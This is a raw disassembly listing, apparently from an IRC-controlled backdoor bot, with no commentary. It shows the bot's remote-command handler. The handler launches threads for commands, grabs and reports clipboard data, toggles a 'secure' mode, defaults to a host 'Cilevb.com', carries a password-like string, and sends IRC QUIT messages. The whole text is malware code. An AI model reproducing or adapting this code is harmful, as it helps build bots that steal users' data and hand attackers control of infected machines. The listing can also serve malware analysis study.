loc_411B66:				; CODE XREF: seg000:00411B5Fj
		push	dword ptr [ebp-304h]
		lea	ecx, [ebp-430h]
		push	dword ptr [ebp-314h]
		push	dword ptr [ebp-318h]
		push	dword ptr [ebp-31Ch]
		push	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_433C08
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	8
		push	eax
		call	sub_414F95
		add	esp, 2Ch
		mov	[ebp-310h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-430h]
		push	ebx
		push	eax
		push	40799Fh
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-310h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_411BF0


loc_411BDE:				; CODE XREF: seg000:00411BEEj
		cmp	[ebp-2ECh], ebx
		jnz	short loc_411C0B
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_411BDE
; ---------------------------------------------------------------------------


loc_411BF0:				; CODE XREF: seg000:00411BDCj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_434CB4
		push	eax
		call	sub_4154E9
		add	esp, 0Ch


loc_411C0B:				; CODE XREF: seg000:00411BE4j
		cmp	[ebp-8], ebx
		jnz	short loc_411C2A
		push	ebx
		lea	eax, [ebp-2C8h]
		push	esi
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		add	esp, 14h


loc_411C2A:				; CODE XREF: seg000:00411C0Ej
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B16D
		pop	ecx


loc_411C37:				; CODE XREF: seg000:004119CCj
		add	dword ptr [ebp+20h], 0Bh
		mov	eax, [ebp+20h]
		cmp	[eax], bl
		jnz	loc_411982
		jmp	loc_40D219
; ---------------------------------------------------------------------------


loc_411C4B:				; CODE XREF: seg000:0040FE2Fj
					; seg000:00411A48j
		push	offset dword_433BBC
		jmp	loc_41202E
; ---------------------------------------------------------------------------


loc_411C55:				; CODE XREF: seg000:0040E605j
					; seg000:0040E61Aj
		push	4
		call	sub_4151DD
		test	eax, eax
		pop	ecx
		jle	short loc_411C6B
		push	offset unk_433B88
		jmp	loc_40EBA7
; ---------------------------------------------------------------------------


loc_411C6B:				; CODE XREF: seg000:00411C5Fj
		mov	eax, [ebp+esi-90h]
		cmp	eax, ebx
		jz	short loc_411C8E
		push	eax
		mov	edi, 104h
		lea	eax, [ebp-804h]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		jmp	short loc_411CA2
; ---------------------------------------------------------------------------


loc_411C8E:				; CODE XREF: seg000:00411C74j
		mov	edi, 104h
		lea	eax, [ebp-804h]
		push	edi
		push	eax
		push	ebx
		call	near ptr 0A80000h
		pop	edi


loc_411CA2:				; CODE XREF: seg000:00411C8Cj
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jnz	short loc_411CB2
		mov	esi, offset aCilevb_com	; "Cilevb.com"


loc_411CB2:				; CODE XREF: seg000:00411CABj
		push	esi
		lea	eax, [ebp-700h]
		push	edi
		push	eax
		call	sub_415A6A
		mov	eax, ds:dword_42C170
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-5F4h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-5F8h], ebx
		mov	[ebp-808h], eax
		lea	eax, [ebp-5F0h]
		push	eax
		call	sub_416D40
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-700h]
		push	eax
		lea	eax, [ebp-804h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-5F4h]
		push	offset unk_4278DC
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	4
		push	eax
		call	sub_414F95
		add	esp, 38h
		mov	[ebp-5FCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-808h]
		push	ebx
		push	eax
		push	offset loc_406C3E
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-5FCh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_411D82


loc_411D6C:				; CODE XREF: seg000:00411D80j
		cmp	[ebp-568h], ebx
		jnz	loc_40ECC3
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_411D6C
; ---------------------------------------------------------------------------


loc_411D82:				; CODE XREF: seg000:00411D6Aj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_433B3C
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------


loc_411D93:				; CODE XREF: seg000:0040E5DBj
					; seg000:0040E5F0j
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	short loc_411DB2
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jz	short loc_411DB2
		push	edi
		call	sub_415A5F
		pop	ecx
		jmp	short loc_411DB7
; ---------------------------------------------------------------------------


loc_411DB2:				; CODE XREF: seg000:00411D9Cj
					; seg000:00411DA7j
		mov	eax, ds:dword_42C174


loc_411DB7:				; CODE XREF: seg000:00411DB0j
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-584h], eax
		xor	eax, eax
		cmp	[ebp-9B0h], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp-570h], eax
		jz	short loc_411DEA
		lea	eax, [ebp-688h]
		push	esi
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx
		jmp	short loc_411E15
; ---------------------------------------------------------------------------


loc_411DEA:				; CODE XREF: seg000:00411DD7j
		lea	eax, [ebp-3E8h]
		push	104h
		push	eax
		call	near ptr 0A80000h
		xor	al, 53h
		push	ebx
		lea	eax, [ebp-2D4h]
		push	ebx
		push	eax
		lea	eax, [ebp-3E8h]
		push	eax
		call	sub_417348
		add	esp, 14h


loc_411E15:				; CODE XREF: seg000:00411DE8j
		lea	eax, [ebp-688h]
		push	eax
		call	sub_415CF0
		cmp	byte ptr [ebp+eax-689h], 5Ch
		pop	ecx
		jnz	short loc_411E40
		lea	eax, [ebp-688h]
		push	eax
		call	sub_415CF0
		pop	ecx
		mov	[ebp+eax-689h],	bl


loc_411E40:				; CODE XREF: seg000:00411E2Aj
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-910h]
		mov	[ebp-914h], esi
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp-8]
		mov	edi, [ebp-4]
		add	esp, 0Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-688h]
		mov	[ebp-578h], edi
		push	eax
		push	dword ptr [ebp-584h]
		push	esi
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset unk_4277AC
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	3
		push	eax
		call	sub_414F95
		add	esp, 20h
		mov	[ebp-57Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-914h]
		push	ebx
		push	eax
		push	offset sub_405B23
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-57Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_411EF4


loc_411EE2:				; CODE XREF: seg000:00411EF2j
		cmp	[ebp-568h], ebx
		jnz	short loc_411F0F
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_411EE2
; ---------------------------------------------------------------------------


loc_411EF4:				; CODE XREF: seg000:00411EE0j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_433AF0


loc_411F00:				; CODE XREF: seg000:00410349j
					; seg000:00410443j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154E9
		add	esp, 0Ch


loc_411F0F:				; CODE XREF: seg000:0041032Dj
					; seg000:00410427j ...
		cmp	[ebp-8], ebx
		jnz	loc_412850
		push	ebx
		push	edi


loc_411F1A:				; CODE XREF: seg000:0040FBF5j
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	esi
		jmp	loc_40F7CE
; ---------------------------------------------------------------------------


loc_411F2D:				; CODE XREF: seg000:0040E5B1j
					; seg000:0040E5C6j
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_411F40
		push	esi
		call	sub_415A5F
		jmp	short loc_411F47
; ---------------------------------------------------------------------------


loc_411F40:				; CODE XREF: seg000:00411F36j
		push	8
		call	sub_4151FC


loc_411F47:				; CODE XREF: seg000:00411F3Ej
		cmp	eax, ebx
		pop	ecx
		jz	loc_412990
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4071FF


loc_411F62:				; CODE XREF: seg000:004123EEj
		add	esp, 10h
		jmp	loc_412990
; ---------------------------------------------------------------------------


loc_411F6A:				; CODE XREF: seg000:0040E587j
					; seg000:0040E59Cj
		mov	eax, ds:dword_43A2B0
		cmp	eax, ebx
		jz	short loc_411F87
		call	eax ; dword_43A2B0
		test	eax, eax
		jz	short loc_411F80
		push	offset unk_433AB8
		jmp	short loc_411F9C
; ---------------------------------------------------------------------------


loc_411F80:				; CODE XREF: seg000:00411F77j
		push	offset unk_433A78
		jmp	short loc_411F9C
; ---------------------------------------------------------------------------


loc_411F87:				; CODE XREF: seg000:00411F71j
		push	offset unk_433A38
		jmp	short loc_411F9C
; ---------------------------------------------------------------------------


loc_411F8E:				; CODE XREF: seg000:0040E55Dj
					; seg000:0040E572j
		call	sub_40A093
		test	eax, eax
		jz	short loc_411FB2
		push	offset unk_433A00


loc_411F9C:				; CODE XREF: seg000:00411F7Ej
					; seg000:00411F85j ...
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A6A
		jmp	loc_412877
; ---------------------------------------------------------------------------


loc_411FB2:				; CODE XREF: seg000:00411F95j
		push	offset unk_4339C0
		jmp	short loc_411F9C
; ---------------------------------------------------------------------------


loc_411FB9:				; CODE XREF: seg000:0040E533j
					; seg000:0040E548j
		cmp	[ebp-8], ebx
		jnz	short loc_411FD8
		push	ebx
		push	dword ptr [ebp-4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		add	esp, 14h


loc_411FD8:				; CODE XREF: seg000:00411FBCj
		push	ebx
		push	dword ptr [ebp-4]
		call	sub_409C92
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		push	offset dword_43397C
		jmp	loc_4122C0
; ---------------------------------------------------------------------------


loc_411FFA:				; CODE XREF: seg000:0040E453j
					; seg000:0040E468j
		push	7
		call	sub_4151DD
		test	eax, eax
		pop	ecx
		jle	short loc_41200D
		push	offset dword_433940
		jmp	short loc_41202E
; ---------------------------------------------------------------------------


loc_41200D:				; CODE XREF: seg000:00412004j
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40A7FD
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_412029
		push	offset dword_433904
		jmp	short loc_41202E
; ---------------------------------------------------------------------------


loc_412029:				; CODE XREF: seg000:00412020j
		push	offset dword_4338D0


loc_41202E:				; CODE XREF: seg000:0040F992j
					; seg000:0040FAC2j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx
		jmp	loc_40F7B1
; ---------------------------------------------------------------------------


loc_412041:				; CODE XREF: seg000:0040E429j
					; seg000:0040E43Ej
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40967F
		jmp	loc_40D216
; ---------------------------------------------------------------------------


loc_41205A:				; CODE XREF: seg000:0040E3FFj
					; seg000:0040E414j
		push	dword ptr [ebp+esi-90h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40C515
		jmp	loc_40D216
; ---------------------------------------------------------------------------


loc_412077:				; CODE XREF: seg000:0040E3D5j
					; seg000:0040E3EAj
		or	edi, 0FFFFFFFFh
		call	ds:dword_42104C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		mov	[ebp+8], eax
		jz	short loc_4120A0
		push	esi
		call	sub_415A5F
		pop	ecx
		mov	edi, eax


loc_4120A0:				; CODE XREF: seg000:00412095j
		mov	eax, [ebp+8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_4120B9
		cmp	edi, 0FFFFFFFFh
		jnz	loc_412990


loc_4120B9:				; CODE XREF: seg000:004120AEj
		push	ebx
		call	sub_40A9B2
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_4338A4
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B16D
		jmp	loc_41017E
; ---------------------------------------------------------------------------


loc_4120FB:				; CODE XREF: seg000:0040E3ABj
					; seg000:0040E3C0j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4085D3
		lea	eax, [ebp-2C8h]
		push	offset unk_433870
		push	eax
		call	sub_4154E9
		add	esp, 14h
		jmp	loc_40ECC3
; ---------------------------------------------------------------------------


loc_412125:				; CODE XREF: seg000:0040E381j
					; seg000:0040E396j
		push	1Eh
		call	sub_4151DD
		test	eax, eax
		pop	ecx
		jle	short loc_41214E
		cmp	[ebp-8], ebx
		jnz	loc_40D219
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_43383C
		push	dword ptr [ebp-8Ch]
		jmp	loc_40D777
; ---------------------------------------------------------------------------


loc_41214E:				; CODE XREF: seg000:0041212Fj
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-90h]
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-450h], eax
		mov	[ebp-458h], ebx
		jz	short loc_4121AF
		push	esi
		push	offset aFull	; "full"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4121AF
		mov	dword ptr [ebp-458h], 1


loc_4121AF:				; CODE XREF: seg000:00412192j
					; seg000:004121A3j
		lea	eax, [ebp-2C8h]
		push	offset dword_433800
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Eh
		push	eax
		call	sub_414F95
		add	esp, 14h
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset sub_413F85
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_41221D


loc_412207:				; CODE XREF: seg000:0041221Bj
		cmp	[ebp-44Ch], ebx
		jnz	loc_412850
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_412207
; ---------------------------------------------------------------------------


loc_41221D:				; CODE XREF: seg000:00412205j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4337B0
		jmp	loc_412841
; ---------------------------------------------------------------------------


loc_41222E:				; CODE XREF: seg000:0040E357j
					; seg000:0040E36Cj
		cmp	[ebp-8], ebx
		jnz	short loc_41224D
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_433784
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		add	esp, 14h


loc_41224D:				; CODE XREF: seg000:00412231j
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A420
		call	ds:dword_43A2E8
		call	sub_409E15
		push	ebx
		call	ds:dword_421114	; ExitProcess


loc_412268:				; CODE XREF: seg000:0040E32Dj
					; seg000:0040E342j
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40AAD1
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		push	offset dword_433758
		jmp	short loc_4122C0
; ---------------------------------------------------------------------------


loc_412293:				; CODE XREF: seg000:0040E303j
					; seg000:0040E318j
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_40AD85
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		push	offset dword_43372C


loc_4122C0:				; CODE XREF: seg000:00411FF5j
					; seg000:00412291j
		call	sub_40B16D
		jmp	loc_410F30
; ---------------------------------------------------------------------------


loc_4122CA:				; CODE XREF: seg000:0040E2D9j
					; seg000:0040E2EEj
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40B20D
		jmp	loc_40D216
; ---------------------------------------------------------------------------


loc_4122E3:				; CODE XREF: seg000:0040E2AFj
					; seg000:0040E2C4j
		cmp	[ebp-0Ch], ebx
		mov	[ebp-374h], bl
		jz	short loc_412322
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_412322
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412322
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp-374h]
		push	80h
		push	eax
		call	sub_415A6A
		add	esp, 10h


loc_412322:				; CODE XREF: seg000:004122ECj
					; seg000:004122F7j ...
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-3F4h]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+0Ch]
		push	offset dword_433700
		mov	[ebp-3F8h], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		mov	eax, [ebp-8]
		mov	[ebp-2ECh], eax
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Ch
		push	eax
		call	sub_414F95
		add	esp, 20h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3F8h]
		push	ebx
		push	eax
		push	offset sub_40B27F
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_4123C2


loc_4123AC:				; CODE XREF: seg000:004123C0j
		cmp	[ebp-2E8h], ebx
		jnz	loc_40D219
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_4123AC
; ---------------------------------------------------------------------------


loc_4123C2:				; CODE XREF: seg000:004123AAj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4336B4
		jmp	loc_40D402
; ---------------------------------------------------------------------------


loc_4123D3:				; CODE XREF: seg000:0040E285j
					; seg000:0040E29Aj
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40B0F5
		push	offset dword_433688
		call	sub_40B16D
		jmp	loc_411F62
; ---------------------------------------------------------------------------


loc_4123F3:				; CODE XREF: seg000:0040E25Bj
					; seg000:0040E270j
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-90h]
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-450h], eax
		jz	short loc_41244D
		push	offset dword_433684
		push	esi
		call	sub_415910
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp-458h], eax
		jmp	short loc_412453
; ---------------------------------------------------------------------------


loc_41244D:				; CODE XREF: seg000:00412431j
		mov	[ebp-458h], ebx


loc_412453:				; CODE XREF: seg000:0041244Bj
		lea	eax, [ebp-2C8h]
		push	offset dword_433654
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Fh
		push	eax
		call	sub_414F95
		add	esp, 14h
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset dword_415000
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_4124BD


loc_4124AB:				; CODE XREF: seg000:004124BBj
		cmp	[ebp-44Ch], ebx
		jnz	short loc_4124D8
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_4124AB
; ---------------------------------------------------------------------------


loc_4124BD:				; CODE XREF: seg000:004124A9j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_433608


loc_4124C9:				; CODE XREF: seg000:00411376j
					; seg000:0041148Fj
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154E9
		add	esp, 0Ch


loc_4124D8:				; CODE XREF: seg000:0040F716j
					; seg000:0040F738j ...
		lea	eax, [ebp-2C8h]
		push	eax
		jmp	loc_40E519
; ---------------------------------------------------------------------------


loc_4124E4:				; CODE XREF: seg000:0040E1DFj
					; seg000:0040E1F4j
		push	offset aIds443vbc ; "ids443vbc"
		lea	eax, [ebp-2C8h]
		push	offset dword_4335DC
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		add	esp, 20h
		jmp	loc_40EFA7
; ---------------------------------------------------------------------------


loc_41251B:				; CODE XREF: seg000:0040E1B5j
					; seg000:0040E1CAj
		push	ds:dword_468808
		call	sub_40A9B2
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_43359C
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		add	esp, 24h
		jmp	loc_40EFA7
; ---------------------------------------------------------------------------


loc_412559:				; CODE XREF: seg000:0040E18Bj
					; seg000:0040E1A0j
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_41258B
		cmp	[ebp-0Ch], ebx
		jz	short loc_41259A
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41259A
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		add	esp, 0Ch
		jmp	short loc_41259A
; ---------------------------------------------------------------------------


loc_41258B:				; CODE XREF: seg000:00412562j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		pop	ecx
		pop	ecx


loc_41259A:				; CODE XREF: seg000:00412567j
					; seg000:00412576j ...
		push	0FFFFFFFEh
		jmp	loc_40D21B
; ---------------------------------------------------------------------------


loc_4125A1:				; CODE XREF: seg000:0040E161j
					; seg000:0040E176j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		push	offset dword_433548
		call	sub_40B16D
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40D21C
; ---------------------------------------------------------------------------


loc_4125C3:				; CODE XREF: seg000:0040E137j
					; seg000:0040E14Cj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		push	offset dword_433504
		call	sub_40B16D
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40D21C
; ---------------------------------------------------------------------------


loc_4125E4:				; CODE XREF: seg000:0040E10Dj
					; seg000:0040E122j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_407135
		jmp	loc_410E99
; ---------------------------------------------------------------------------


loc_4125FA:				; CODE XREF: seg000:0040E068j
					; seg000:0040E07Dj
		push	dword ptr [ebp+esi-90h]
		push	1Eh
		push	offset dword_4334F4
		push	offset dword_4334E8
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_412612:				; CODE XREF: seg000:0040E03Ej
					; seg000:0040E053j
		push	dword ptr [ebp+esi-90h]
		push	1Bh
		push	offset dword_4334DC
		push	offset dword_4334CC
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_41262A:				; CODE XREF: seg000:0040DE69j
					; seg000:0040DE7Ej
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	short loc_412649
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jz	short loc_412649
		push	edi
		call	sub_415A5F
		pop	ecx
		jmp	short loc_41264E
; ---------------------------------------------------------------------------


loc_412649:				; CODE XREF: seg000:00412633j
					; seg000:0041263Ej
		mov	eax, ds:dword_42C16C


loc_41264E:				; CODE XREF: seg000:00412647j
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-464h], eax
		cmp	esi, ebx
		jz	short loc_412673
		push	esi


loc_412660:				; CODE XREF: seg000:00412682j
		lea	eax, [ebp-474h]
		push	10h
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		jmp	short loc_41268A
; ---------------------------------------------------------------------------


loc_412673:				; CODE XREF: seg000:0041265Dj
		cmp	[ebp-9B3h], bl
		jz	short loc_412684
		lea	eax, [ebp-0C4h]
		push	eax
		jmp	short loc_412660
; ---------------------------------------------------------------------------


loc_412684:				; CODE XREF: seg000:00412679j
		mov	[ebp-474h], bl


loc_41268A:				; CODE XREF: seg000:00412671j
		mov	eax, [ebp-4]
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp+0Ch]
		mov	[ebp-458h], eax
		mov	eax, [ebp-8]
		push	80h
		mov	[ebp-454h], eax
		lea	eax, [ebp-4F4h]
		push	eax
		mov	[ebp-4F8h], esi
		call	sub_415A6A
		add	esp, 0Ch
		push	dword ptr [ebp-464h]
		push	esi
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_427D44
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	11h
		push	eax
		call	sub_414F95
		add	esp, 1Ch
		mov	[ebp-460h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4F8h]
		push	ebx
		push	eax
		push	offset loc_40800A
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-460h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_41273B


loc_412725:				; CODE XREF: seg000:00412739j
		cmp	[ebp-450h], ebx
		jnz	loc_40D219
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_412725
; ---------------------------------------------------------------------------


loc_41273B:				; CODE XREF: seg000:00412723j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_433480
		jmp	loc_40D402
; ---------------------------------------------------------------------------


loc_41274C:				; CODE XREF: seg000:0040DE15j
					; seg000:0040DE2Aj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412774
		push	edi
		push	offset aSec	; "sec"
		call	sub_415910
		pop	ecx
		mov	[ebp-458h], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_41277E


loc_412774:				; CODE XREF: seg000:0041275Bj
		mov	dword ptr [ebp-458h], 1


loc_41277E:				; CODE XREF: seg000:00412772j
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+0Ch]
		add	esp, 0Ch
		cmp	[ebp-458h], ebx
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		mov	[ebp-450h], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_4127C5
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_4127C5:				; CODE XREF: seg000:004127BEj
		push	eax
		push	offset dword_433430
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A6A
		push	ebx
		lea	eax, [ebp-2C8h]
		push	19h
		push	eax
		call	sub_414F95
		add	esp, 1Ch
		mov	[ebp-45Ch], eax
